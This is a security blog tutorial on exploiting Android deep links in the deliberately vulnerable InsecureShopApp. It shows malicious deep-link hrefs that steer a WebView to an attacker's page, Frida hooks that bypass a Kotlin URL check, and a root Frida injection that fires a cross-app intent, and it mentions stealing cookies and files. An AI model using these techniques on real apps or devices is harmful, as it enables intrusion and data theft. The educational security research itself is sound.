# Intro As you may be aware I have been doing some hacking on `Android` recently. Today I want to look into `deep links` a little bit because there can be many issues that occur when these are not set up and validated properly. Actually, the original inspiration for this post comes from a talk I saw at `zer0con` by [@InterruptLabs](https://twitter.com/interruptlabs) ([@munmap](https://twitter.com/munmap) & [@patateQbool](https://twitter.com/patateQbool)), pretty hilarious stuff actually. Below you can see a short `0day 1-click` demo, from the talk, to install an arbitrary app on a `Xiaomi` phone. - https://twitter.com/POC_Crew/status/1775713732842365022 They talked about a lot of previous `p2o bugs` related to poor implementations of `deep links` and the associated `WebViews` (`permissions`, `JS bridging`, `Intent proxying` etc.). We won't go into those here but I want to just do some simple groundwork using a toy app [InsecureShoppApp](https://www.insecureshopapp.com/). As we will see the application is not really fit for purpose (eventually, I'll have to write my own to catalogue `Android bugs` I can repro) but it will allow us to flex our `frida` skills a little bit and gain some hands-on experience. # What is a deep link tho? Actually this is very easy to understand, `Android` [deep links](https://developer.android.com/training/app-links) are the equivalent of [URI Handlers](https://learn.microsoft.com/en-us/windows/uwp/launch-resume/launch-app-with-uri) on `Windows` (these have also had bugs). You craft a `URL` with some specific formatting and an `app` will perform some action based on that (with or without parameters). ``` jumanjiapp://someurl?param=123 ``` What happens here depends entirely on the `app` and how the `onCreate` handler is set up. Some things that can go wrong include: - The attacker may be able to force a `WebView` to load a malicious `URL`, either because of poor design or because `URL` allow-listing is implemented poorly. - If the `WebView` loads a trusted `URL` there may still be issues, for example if you can find `XSS` or `Open Redirect`. - The `WebView` may have permissive settings, like `setJavaScriptEnabled(true)` which would enable the view to call any `JavaScript<->Java` bridges that may exist for the interface. - `JavaScript Bridges` may expose additional attack surface. - The `WebView` may have `setAllowUniversalAccessFromFileURLs(true)` which would allow `cross-origin` requests to access the `file://` scheme. Not good ok, don't do that! - Depending on the setup, the attacker may also be able to proxy to different `Intents` etc. All this theory is a bit theoretical, let's have a look! # You linking with that phone bruv, peak #### Manifest If we look at the `Android` manifest we can see some interesting entries. ![[deeplink-01.png]] Notice that `WebViewActivity` has a `data specification`, including a scheme (`insecureshop://`) and host (`com.insecureshop`) where `WebView2Activity` does not. What we need to understand about this is that we can invoke `WebViewActivity` remotely by sending the target a (malicious) `URL` where we can't do that for `WebView2Activity`. However, we can still call both using an `intent` either from inside the `app` or `cross-app` on the phone (interesting, I assume this opens the phone up to cross-app attacks). #### WebViewActivity Because we want to do a `1-click` style attack we will focus on `WebViewActivity`. Lets have a look first at the setup of the `WebView`. ![[deeplink-02.png]] Not a good start for the `app` there is both `setJavaScriptEnabled` and `setAllowUniversalAccessFromFileURLs`. I will note that there are no `JavaScript Bridges` (more reasons to write our own app later on). Looking at the actual `WebView` handler we can see the following. ![[deeplink-03.png]] There are two scenarios the app will handle. The first scenario is where the request `URI` equals `/web`. In this case the value of the `url` query parameter is extracted and directly loaded in a `WebView`. ![[deeplink-04.mov]] Here we just created a simple `href`, like this: ```html <a href="insecureshop://com.insecureshop/web?url=https://calypso.pub">Click Me</a> ``` The second scenario is where the request `URI` equals `/webview`. We can't leverage this scenario directly because the `app` also adds a check, using `StringsKt`, to make sure the `url` query parameter ends with `insecureshopapp.com`. This is obviously a bad check because we could register a domain that meets these criteria (e.g. `jumanji-insecureshopapp.com`). #### Flexing Frida Ok, ok, what if we wanted, for no apparent reason, to use `/webview` anyway? Well we can, if our intention is to practice our `frida` craft. First let's adjust our `href`. ```html <a href="insecureshop://com.insecureshop/webview?url=https://calypso.pub">Click Me</a> ``` We can create a small logger to understand more about what is happening inside the app and also put us in a position to manipulate the `WebView` (if we wanted to do that). ```js Java.perform(function () { var WebViewActivity = Java.use('com.insecureshop.WebViewActivity'); WebViewActivity.onCreate.overload('android.os.Bundle').implementation = function (savedInstanceState) { console.log('\n[+] WebViewActivity onCreate called'); this.onCreate(savedInstanceState); logIntentData(this.getIntent()); // Use Java reflection to find the WebView instance Java.choose('android.webkit.WebView', { onMatch: function(instance) { console.log('[Java.choose] WebView instance found: ' + instance); // // You can modify the WebView here if you want // }, onComplete: function() { console.log('[Java.choose] Completed'); } }); }; WebViewActivity.onNewIntent.overload('android.content.Intent').implementation = function (intent) { console.log('\n[+] WebViewActivity onNewIntent called'); this.onNewIntent(intent); logIntentData(intent); }; function logIntentData(intent) { var dataString = intent.getDataString(); var data = intent.getData(); var extras = intent.getExtras(); console.log('[?] Intent dataString: ' + dataString); if (data !== null) { console.log(' |_ Intent data URI: ' + data.toString()); console.log(' |_ Intent query parameter "url": ' + data.getQueryParameter("url")); } if (extras !== null) { console.log(' |_ Intent extras: ' + extras.toString()); } } }); ``` ![[deeplink-05.png]] Useful as a code reference, however, what we really want is to bypass the `kotlin` string comparison. The class has code that looks like this: ```java import kotlin.text.StringsKt; ..... if (StringsKt.endsWith$default(queryParameter, "insecureshopapp.com", false, 2, (Object) null)) { ...... } ``` My assumption was that the `endsWith$default` method would be in `kotlin.text.StringsKt` but it turns out if you double-click the implementation in `JADX` it redirects you to `kotlin.text.StringsKt__StringsJVMKt`. This is a bit confusing, I'm not sure why this is the case (let me know!). This issue is further compounded by the fact that both classes have `endsWith$default` methods using `different overloads`! Lets have a look. We can list the methods for each as shown below. I apply a loose filter so you can see some differences. ```js Java.perform(function () { var classes = ["kotlin.text.StringsKt", "kotlin.text.StringsKt__StringsJVMKt"]; classes.forEach(function (className) { try { var klass = Java.use(className); console.log("\n[========= Methods in " + className + "==================]"); for (var method in klass) { if (method.includes("With")) { console.log(method); } } } catch (e) { console.log("Class not found: " + className); } }); }); ``` ![[deeplink-06.png]] Like I said, these have different `overloads`. ```js Java.perform(function () { var StringsJVMKt = Java.use("kotlin.text.StringsKt__StringsJVMKt"); var StringsKt = Java.use("kotlin.text.StringsKt"); console.log("\n[?] Available overloads for StringsKt.endsWith$default:"); StringsKt.endsWith$default.overloads.forEach(function (overload) { console.log(" |_ [RET] " + overload.returnType + " -> " + overload.argumentTypes.join(", ")); }); console.log("\n[?] Available overloads for StringsJVMKt.endsWith$default:"); StringsJVMKt.endsWith$default.overloads.forEach(function (overload) { console.log(" |_ [RET] " + overload.returnType + " -> " + overload.argumentTypes.join(", ")); }); }); ``` This is important because we need to hook the implementation that is actually being used by the app. ![[deeplink-07.png]] Anyway, the moral of the story is to check in the decompiler, it obviously knows which one is being used 😅😅. Still, we learned some things along the way and that is the whole point I think. Now it is easy to hook the correct implementation and bypass the check! ```js Java.perform(function () { var StringsJVMKt = Java.use("kotlin.text.StringsKt__StringsJVMKt"); StringsJVMKt.endsWith$default.overload("java.lang.String", "java.lang.String", "boolean", "int", "java.lang.Object").implementation = function (str, str2, z, i, obj) { console.log("[+] StringsKt__StringsJVMKt called"); console.log(" |_ [ARGS] ", str, str2, z, i, obj); // Bypass the check for URLs ending with "calypso.pub" if (str && str.toString().endsWith("calypso.pub")) { console.log(" |_ Bypass check -> true"); return true; } console.log(" |_ Bypass check -> false"); var result = this.endsWith$default(str, str2, z, i, obj); return result; }; }); ``` ![[deeplink-08.png]] Not totally useful but interesting 🙇‍♂️! #### How about p0wn? Well, we can redirect the `WebView` to a `URL` on our server, like this: ```html <a href="insecureshop://com.insecureshop/web?url=http://192.168.1.83:8000/pwn.html">Click Me</a> ``` At that stage you can execute `JavaScript` in the `WebView` and do things like steal cookies or whatever. Also, because you have access to the `file://` scheme you can exfiltrate files from `some specific locations` on the phone: - Application internal storage - Application cache - External Storage (depends on application permissions, `READ_EXTERNAL_STORAGE`) But generally the attack surface is not very interesting here so I will just show you a small demo before we move on. ![[deeplink-09.mov]] #### Cross-App Attacks Like I mentioned at the start we can trigger these actions using `Intents`. Actually, `ADB` lets you simulate this. ``` b33f@p0wn ~ % adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://calypso.pub" Starting: Intent { act=android.intent.action.VIEW dat=insecureshop://com.insecureshop/... } Status: ok LaunchState: WARM Activity: com.insecureshop/.WebViewActivity TotalTime: 99 WaitTime: 104 ``` What would interesting though is a more realistic scenario where we trigger the `Intent` from `Java` code. You could do something like this: ```java import android.content.Intent; import android.net.Uri; Intent intent = new Intent(Intent.ACTION_VIEW); intent.setData(Uri.parse("insecureshop://com.insecureshop/web?url=https://calypso.pub")); intent.addCategory(Intent.CATEGORY_DEFAULT); intent.addCategory(Intent.CATEGORY_BROWSABLE); startActivity(intent); ``` Very cool, very cool, but I'm not going to write a `Java` app ok.. What if we turn this into `frida` code, inject it into a process, and try to preform a real `cross-app` action. ```js Java.perform(function () { var SettingsActivity = Java.use('com.android.settings.Settings'); SettingsActivity.onCreate.overload('android.os.Bundle').implementation = function (savedInstanceState) { this.onCreate(savedInstanceState); // Creating the intent var Intent = Java.use('android.content.Intent'); var Uri = Java.use('android.net.Uri'); var String = Java.use('java.lang.String'); var uri = Uri.parse("insecureshop://com.insecureshop/web?url=http://192.168.1.83:8000/pwn.html"); var intent = Intent.$new("android.intent.action.VIEW", uri); intent.addCategory(String.$new("android.intent.category.DEFAULT")); intent.addCategory(String.$new("android.intent.category.BROWSABLE")); // Starting the activity this.startActivity(intent); }; }); ``` Here, of course, we have `frida` running as `root` so we can inject into anything. For demo purposes I just chose to inject `com.android.settings`. ![[deeplink-10.mov]] # Conclusions There is probably nothing new here for people with more foundational `Android` knowledge. Being intellectually poor myself I can only endeavour to be studious and work diligently on my shortcomings. ``` This is an intellectual endeavor, a craft that lacks nothing in a person's work; for if he masters it, he will embrace it with a love for the craft, by will lengthen his days in all his pursuits, and willing grant him eternal life. ```